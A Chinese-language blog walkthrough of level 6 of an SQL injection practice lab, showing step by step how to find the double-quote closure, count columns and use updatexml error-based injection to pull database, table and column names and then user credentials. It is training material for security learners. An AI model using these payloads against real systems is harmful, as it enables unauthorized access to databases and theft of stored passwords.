SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
草莓熊Lotso1 天前
脉脉独家【AI创作者xAMA】| 多维价值与深远影响
运维·服务器·数据库·人工智能·脉脉
会飞的胖达喵1 天前
Redis 协议详解与 Telnet 直接连redis
数据库·redis·redis协议
言之。1 天前
DDIA第四章 数据库存储引擎面试问题集
数据库·面试·职场和发展·ddia
wangbing11251 天前
redis的存储问题
数据库·redis·缓存
剑来.1 天前
一次完整的 MySQL 性能问题排查思路(线上实战总结)
数据库·mysql·oracle
2301_800256111 天前
【数据库】查找距离最近的电影院 pgSQL 存储过程片段
大数据·数据库·excel
2501_941807261 天前
在迪拜智能机场场景中构建行李实时调度与高并发航班数据分析平台的工程设计实践经验分享
java·前端·数据库
week_泽1 天前
小程序云数据库查询操作_2
数据库·小程序
一 乐1 天前
餐厅点餐|基于springboot + vue餐厅点餐系统(源码+数据库+文档)
java·前端·数据库·vue.js·spring boot·后端
白帽子黑客杰哥1 天前
除了SQL注入,WAF绕过技术如何应用于XSS、文件上传等其他漏洞类型?
网络·sql·xss·漏洞挖掘